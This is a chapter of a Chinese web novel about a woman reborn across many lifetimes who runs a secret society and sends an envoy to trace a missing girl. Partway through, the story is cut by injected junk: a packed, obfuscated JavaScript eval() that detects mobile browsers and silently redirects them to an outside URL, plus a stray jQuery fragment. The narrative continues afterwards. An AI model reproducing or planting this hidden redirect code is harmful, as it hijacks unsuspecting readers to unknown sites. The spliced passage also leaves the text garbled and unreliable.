“小姐。”
果然，蛛部使者几乎立刻就回应了越知初的暗语。
“虫”之各部，虽然数百年前就被越知初分派给各部长老去管辖，但基本上蛛部这样的势力，由于在某些年份特别实用，她直接联络的频次也相对最高。
这一世，由于有了江遇，和他一手培植的全新“蜂部”，她才多倚赖了一些。
从前的蜂部，更多的是给“虫”的成员们，收集一些可供他们从事民间营生的门道。
如今这些给成员们找营生的活，也多半是蜂部在干，但“金花使者”们，却更多在帮江遇替越知初打探她所需的绝密情报。
有些和蛛部的功能相似了。
不过，眼下没有江遇在身边，越知初想了想，终究是没有沿路留下“蜂印”。
她惯常有些自己的习性和癖好，比如金花使者既然是江遇一手栽培的，她便习惯只通过江遇和她们联络。
倒也并不完全出于所谓的“信任”，她只是在某一世闲来打坐冥想时突然感叹起了——
人活一世，虽然算不得特别长久。
但有时候……大部分时候，还真是，无趣啊。
她一直没能参透的，是那些帝王将相，为何那么执着于“长生”。
依她所见，她的命，算得上“长生”了。
无论前一世以怎样的结局死去，十二年后总会如期醒来。
若说刚开始，任谁经历了那样的事，感到的都会是“庆幸”。
可循环往复了许多次之后……
她竟然也开始觉得，无趣了。
毕竟人活一世，临死了留下最多的，惦念最多的，往往不是爱恨情仇，而是——遗憾。
遗憾，约莫是那些人即便快死了，也拼命想要再苟延一段时日的原因吧。
可惜的是，当她发现她的人生无论有多少遗憾，都可以“重头再来”的时候，那种最开始的兴奋，却渐渐也被消磨殆尽了。
因为……
她发现了更令她绝望的事。
那便是，即使可以“重来”，那些人，那些情感，那些岁月……却终究是怎么也回不去了。
只为欲望的话，自然是缺钱了便去挣些银子，缺衣短食了便去多囤一些粮食布料，缺自保的手段便去学一些绝世武功……
可这些都做到了，之后呢？
已经不再的那些时光，难道也可以重来？
已经丧命于黄土的那些魂魄，难道也可以复生？
……
她以为“重来”能弥补的那些遗憾，不过只是她的一厢情愿，是黄粱一梦罢了。
之后，她之所以每一世都坚持让“虫”存在于世间……最开始，大抵只是惧怕了那没有底也没有终的……
无趣，吧。
活着，无休无止地活着，她……还想要什么呢？
还能要些什么呢？
蛛部使者同样身穿一身暗色劲装，时刻为越知初传递情报的蛛部使者，轻功自然是卓绝的。
如今整个人藏在暗色的衣衫之下，又在昏暗的夜色里，越知初也无法辨别来者是谁——他们的面容，总是会尽量隐藏在面纱之下。
她只能从声音听出，这也是位女特使。
这很让越知初振奋，想当初刚刚创立“虫”的时候，她能招募到的女子屈指可数。
大部分世间的女子，无论多么苦命、多么走投无路，大抵都还有一个被称为“夫家”的牢笼。
或许那些男人和婆家并不能给她们带来更好的生活，她们却始终坚守着那个叫“家”的东西，而不敢有所求，或是有所变。
直到她称帝的那一世。
这世间，曾短暂地发生过一些改变。
她尝试颁布过各种各样的，鼓励女子讨生活、求读书、谋仕途的国策，尽管从如今看来收效甚微，甚至……也许在她死后，世道就重回了男子们要的“正轨”。
但，如今在“虫”见到越来越多会武功、懂计谋、不惧生死的女子，她总是高兴的。
那种高兴发自内心，但缘何而来，她说不太清楚。
或许是因为……有件事很奇特，她无论重生多少次，生在怎样的人家，拥有怎样的一世，却似乎……总是一个女子。
唯独这件事，千百年来，未曾变过。
她用爽朗的音调对蛛部使者道：“我想，查一查一名女子的下落。”
“但凭小姐吩咐。”蛛部使者的面容隐在她系着的面纱之下，声音却是平稳而低沉，令人安心。
越知初想了想，却没有直接说明白芝的情况，转而轻声问道：“蛛部如今事务繁忙么？”
蛛部使者似乎也愣了愣，而后才如实答道：“胥长老平日里还是钟爱养花钓鱼，小姐没有吩咐的时候，大家都如常做着各自的营生，并不算忙碌。”
越知初一边听，一边露出欣慰的浅笑。胥老头那年迈而顽皮的脸，似乎就浮现在眼前。
“如此甚好。”
她点头，心里想着，若这样安稳的岁月能陪着她，一直一直平静下去，倒也是无趣之中的乐趣。
蛛部收集天下情报，和其他各部都不太一样，即便是平日里，蛛部的成员也不需要出去再寻别的活计，而是一味尽量去打探、收集、规整，这天下事无巨细的各种消息。
收到消息之后，还要辨别真伪，再将已经确认为真的消息封存于蛛部，待越知初或别的长老随时有需要时，用以查阅或勘察。
但所谓消息，一是怕假，而是怕变。
于是，越知初在创立“虫”没多久之后，便将蛛部的“巢穴”单独划分了出来，确切的地点，和最重要的消息，只有她和蛛部长老知晓。
为的是，万一遇上了动荡的年代，或是天下裂变的时日，不至于将这些不知耗费了多少人的千辛万苦收集来的消息，轻易被心怀叵测之人获取。
有些东西……
即便是失去了当下“新鲜”的价值，仍然有其不适宜公之于众的理由。
她托蛛部探查的那些消息，于她而言，或许是一些便利。可于天下而言，谁又能知是福是祸？
如今的蛛部长老胥臻云，便是从她上辈子起，就和她一同打理蛛部的老伙计了。
——真希望那老头能长命百岁啊。
越知初时常发出这样的感叹。
也只有在那样的时刻，她才会有些了然，为何帝王将相们，那么执着于“长生”。
无论是怎样的帝王，将天下治理成了什么样，总有他们发自心底觉得，“朕只相信自己”的理由吧。
她要找一个赖以信任的蛛部长老，又何尝没有那样的忧虑。
那么多事关财富、军政、武功、民生……的消息，她若是所托非人，害了她自己和“虫”都算事小，一不小心，就连天下万民都要跟着遭殃。
可胥臻云，他独爱养花、垂钓。
越知初想起他年少时意气风发的模样，再想到如今他只是一味沉浸在自己的安逸暮年之中，不免有种心酸的欣慰。
——人都会老的，无论年少时心怀怎样的宏图远景，在韶华已逝、日暮西山之后，都会想……图一个，“悠闲”。
她自己也不能幸免。
可她曾经有多贪婪地祈求命长，如今就有多羡慕那些……如胥臻云一样，可以安然老去的人们。
他们的一生，在回忆里已经足够波澜壮阔，甚至是可以给儿孙讲上几天几夜的跌宕故事。
而她呢……
她的一辈子……
不知从何时起，似乎只剩了对“下一辈子”的，厌倦。
蛛部使者听完她的评价，不知该如何接话，也不知这和小姐即将安排的任务有何关联，便只能轻轻点了点头，算是认同。
越知初抿了抿唇，心知人一旦开始多愁善感，便是要开始置身于险境之中了。
当然，还有另一种可能——她只是，老了。
年近十九的越知初，她的灵魂，却已经快是一个千岁老人了。
但看着蛛部使者毕恭毕敬待命的模样，她还是很快收拾起思绪，尽量清楚地吩咐道：“她叫白芝，年岁不详，约莫也就是十七八，或者更小。有个弟弟叫白岩，姐弟俩约莫是一个月前左右到的怀临府。怀临知府穆直的死，应当是她弟弟白岩所为，你可从此处着手查探。我如今没有白芝的踪迹，需要尽快查出她的下落。唯一知道的，是她似乎也是被人抓走的，且多半和穆直——或者说怀临府衙，脱不开干系。”
她隐去了一些不必要的前因后果，只给了蛛部使者最重要的信息和任务。
蛛部使者的答复更简洁：“遵命。三日之内，我会带着尽量详尽的情报来告知小姐。”
如此干脆明了，一听便知，她也是蛛部十分得力的成员了。
但越知初却不得不提出了更过分的要求：“三日太久了，我只能等到明晚。明晚，还在这里，能查到多少，便来告诉我多少吧。”
她无意为难蛛部，但她的确不宜在怀临逗留更久了。京城还有重要的事未了，师父的安危扑朔迷离，如果不能在两日内解决白家姐弟的事……她只能再想别的办法，或是将此事交予旁人了。
蛛部使者似乎没想到一来便接了个如此紧急的任务，但很快还是应道：“遵命。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447626|143173||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“还有，你联络蛛部其他特使，关于宅自逍的情况，还要继续追查，半个月内，给我确切的消息。”
既然想到了师父，越知初便一并吩咐了。
“小姐放心，宅老的情况，蛛部一直在跟查，胥长老说，一有核查后的消息，就会立刻派人回报小姐。”
提到宅自逍，蛛部使者也顺势将胥臻云的意思转达。
越知初点点头，又道：“虫玉……”
她是想着，既然她把任务的时限缩短了，给蛛部使者们的报酬也得加一些，这才合理。
谁知，蛛部使者竟然打断了她的话：“关于虫玉，在下斗胆回话，胥长老有言，关于小姐近日在禹州和京城的各项任务，我等所得的虫玉无论是想兑换粮食、金银，或武功秘籍，胥长老都会竭力同小姐争取，必不会亏待了我等。还请小姐不必挂心了。”
越知初有点意外地睁了睁眼，这胥老头……倒比他年轻的时候，大方了不少嘛。
其实，起初，大部分“虫子”，之所以投靠了“虫”，之后无论被安排在哪一部做事，求的不过是能在这走投无路的世间，求一条活路。
可后来……随着越知初世世代代和各部新老长老们通力协作，也由于“虫子”的数量成了规模，也开始有了不少人，并不仅仅是活不下去，而是仰慕所谓的“大当家”，自请要来“虫”谋一份差事。
这些人，最早都是越知初十分警惕和担忧的。
毕竟，他们连所谓的“大当家”是谁，长什么样子，都丝毫不清楚。
而仅在“虫”内部流通的虫玉，能兑换的东西太多，通常只要顺利完成任务的情况下，不止“虫子”个人能活得不错，养活家人也未尝不可。这样丰厚的回报，免不了可能会从某些“虫子”那里走漏了风声。
她最先，是一个那样“毛遂自荐”的人也不想接纳的。
但世道，并不总是昏暗污浊的。
总有一些明君，总有一些忠臣良将，会给这天下带来难得的和平泰盛。
在那样的年代里，百姓们安居乐业，外无战，内无贪，总是会叫“虫”的势力被削弱得十分危急。
其实越知初自己是无所谓的。她也不是没想过，若天下没了“虫”存在的必要，那就让它消散在历史的传说之中。
也挺……好的。
可也是在百年前的某一世，在太平盛世的和祥之中，当时的蝉部长老，问了她一句话，让她久久无法回答，也陷入了良久的深思熟虑。
她还记得那位长老。
还记得她的名字。
她叫，三娘。
云三娘。
若非“三娘”这个名字对越知初的意义着实不一般，她或许都不会那么清楚地将她和云三娘的过往记得那么清楚。
就好像，百年时光，从未在她心中流走。
云三娘问她：“虫没了便没了？那这些虫子们要何去何从？将来，若是世道变坏了，皇帝变昏了，老百姓又生不如死、无处诉苦的时候，那些活不下去的人……你便不管了么？你若打算不管了，何苦一开始要管？只因着，你想打发闲得无趣的时光么？”
“你若不打算管了，从一开始，就不该管。”
那是云三娘对她说的最后一句话。
自那次分别之后……
没多久，蝉部长老云三娘就病逝了。
也是接到她的讣告，越知初才知道，她和三娘那次谈话之时，三娘的身子就已经很不好了。
可云三娘与她同为女子，作为一个只活了一辈子，还享年只有三十七岁的女子……
却比她，对“虫”和“虫子”们的感情，深得多。
越知初最终留下了“虫”，也尽力去安排了诸如“考察虫子”、“成员记档”之类的事宜，用以给那些“慕名而来”的人，安排一份营生。
——那就是如今江遇负责的考核事宜，最初的来由。
她并非对三娘感到有所亏欠，只是她对“人”的信任与不信，都在岁月的消磨里变得麻木了。
而三娘的那番话，忽然点醒了她。
就像如今眼前的这位蛛部使者告诉她，胥臻云早已替她想好了要给大家的奖励，和“虫子”们为她卖命时，那早已超乎“报酬”的忠心，都让她反复相信了三娘留给她的忠告。
“你若不打算管，从一开始就不该管。”
而既然给了垂死之人一线生机——即便那并非她的本意，她也该知道，若她再斩断这丝生机，是多么残忍而自以为是的行为。
那样的话，如今的“虫”，和世世代代的“越知初”，恐怕早已湮没在了世道的变幻里。